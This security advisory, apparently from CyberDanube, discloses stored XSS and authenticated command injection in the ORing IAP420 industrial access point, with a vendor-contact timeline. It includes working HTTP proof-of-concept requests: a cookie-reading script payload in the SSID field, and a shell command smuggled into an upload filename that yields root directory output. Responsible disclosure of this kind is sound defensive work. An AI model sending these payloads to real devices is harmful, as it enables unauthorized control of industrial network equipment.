Multiple Vulnerabilities in ORing IAP420

Founded in 2005, ORing specializes in developing innovative own-branded products for industrial settings. Over the years, ORing has accumulated abundant experience in wired and wireless network communications industry. In line with the commercialization of 5G, ORing has stretched its arm into the IIoT field, helping customers realize all kinds of IIoT applications such as smart manufacturing, smart city, and industrial automation. With high product quality and best customer services in mind, ORing has continued to launch cutting-edge products catering to customer needs. ORing’s products have been widely adopted in surveillance, rail transport, industrial automation, power substations, renewable energy, and marine industries with offices worldwide to address customer needs in real time.

Source: https://oringnet.com/en/about-us/company-profile

Tested on ORing IAP420 / 2.01e

1) Stored Cross-Site Scripting (CVE-2024-5410)

A Stored Cross-Site Scripting vulnerability was identified in the web interface of the device. The SSID of the WiFi can be configured to contain arbitrary JavaScript code. An attacker can exploit this vulnerability by luring a victim to visit a malicious website. Furthermore, it is possible to hijack the session of the attacked user.

2) Authenticated Command Injection (CVE-2024-5411)
The filename parameter of the config file upload is prone to a Command Injection vulnerability. This vulnerability can only be exploited if a user is authenticated to the web interface. This way, an attacker can invoke commands and is able to get full control over the whole device.

POST /cgi-bin/wl_set.cgi HTTP/1.1
Host: 192.168.0.1
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 659
Connection: keep-alive
Cookie: auth=YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
sel_op_mode=client&sel_mssid=0&tf_ssid=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&sel_isolation=0&
sel_mssid_isolation=0&sel_auth_mode=0&rb_wep_authmode=0&sel_wep_enc_bits=0&
sel_wep_key_type=0&tf_key1=&tf_key2=&tf_key3=&tf_key4=&rb_wpapsk_authmode=0&
rb_wpapsk_enc=0&tf_wpa_key=&rb_wpa_authmode=0&rb_wpa_enc=0&tf_ip1=&tf_ip2=&
tf_ip3=&tf_ip4=&tf_radius_port=&tf_radius_key=&tf_ip1_1x=&tf_ip2_1x=&
tf_ip3_1x=&tf_ip4_1x=&tf_radius_port_1x=&tf_radius_key_1x=&bt_save=Save&
lang=en&channel=0&isolation=0&mssid_isolation=0&auth_mode=0&wep_authmode=0&
wpapsk_authmode=0&wpa_authmode=0&wpa_enc_type=0&wep_enc_bits=0&wep_key_type=0&
wep_key_index=0&ret_msg=

A command can be injected in the filename of the uploaded config. By sending a request as shown below, the content of the current directory can be shown:

POST /cgi-bin/admin_config.cgi?todo=upconf HTTP/1.1
Host: 10.69.10.2
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—————————347087158737672164432057801583
Content-Length: 563
Connection: keep-alive
Cookie: auth=YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
—————————–347087158737672164432057801583
Content-Disposition: form-data; name=“upfile“; filename=“test.bin;ls${IFS}-la;“
—————————–347087158737672164432057801583
Content-Disposition: form-data; name=“bt_upconf“
Upload
—————————–347087158737672164432057801583
Content-Disposition: form-data; name=“lang“
en
—————————–347087158737672164432057801583
Content-Disposition: form-data; name=“ret_msg_upconf“
—————————–347087158737672164432057801583–

HTTP/1.0 200 OK
tar: can’t open ‚/tmp/test.bin‘: No such file or directory
drwxr-xr-x 4 root root 1024 Mar 7 14:36 .
drwxr-xr-x 8 root root 1024 Jan 30 2024 ..
-rwxr-xr-x 1 root root 17572 Jan 30 2024 admin_config.cgi
-rwxr-xr-x 1 root root 17584 Jan 30 2024 admin_default.cgi
-rwxr-xr-x 1 root root 15984 Jan 30 2024 admin_fwup.cgi
-rwxr-xr-x 1 root root 12476 Jan 30 2024 admin_password.cgi
-rwxr-xr-x 1 root root 13164 Jan 30 2024 admin_restart.cgi
-rwxr-xr-x 1 root root 33336 Jan 30 2024 adv_filters.cgi
-rwxr-xr-x 1 root root 15032 Jan 30 2024 adv_misc.cgi
-rwxr-xr-x 1 root root 72168 Jan 30 2024 adv_rstp.cgi
-rwxr-xr-x 1 root root 6588 Jan 30 2024 backup_unit.cgi
[…]

None

None

CyberDanube recommends Oring customers to upgrade the firmware to the latest version available and to restrict network access to the management interface of the device.

• 2024-02-06: Contacting ORing via support@oringnet.com. Automatic holiday reply.
• 2024-02-19: Asking for an update. No reply.
• 2024-02-28: Asking for an update. No reply.
• 2024-03-11: Searched for „cyber security manager“ on LinkedIn. Contacted him and got the answer, that the content should be sent to „support@oringnet.com“. Sent the advisory to this address directly.
• 2024-03-20: Asking for an update. No reply.
• 2024-04-10: Asking for an update. No reply.
• 2024-04-30: Including support_us@oringnet.com. Asking for an update. No reply.
• 2024-05-02: Including support_eu@oringnet.com. Asking for an update. No reply.
• 2024-05-27: Sent information that the advisory will be published on 2024-05-28.
• 2024-05-28: Public release of security advisory.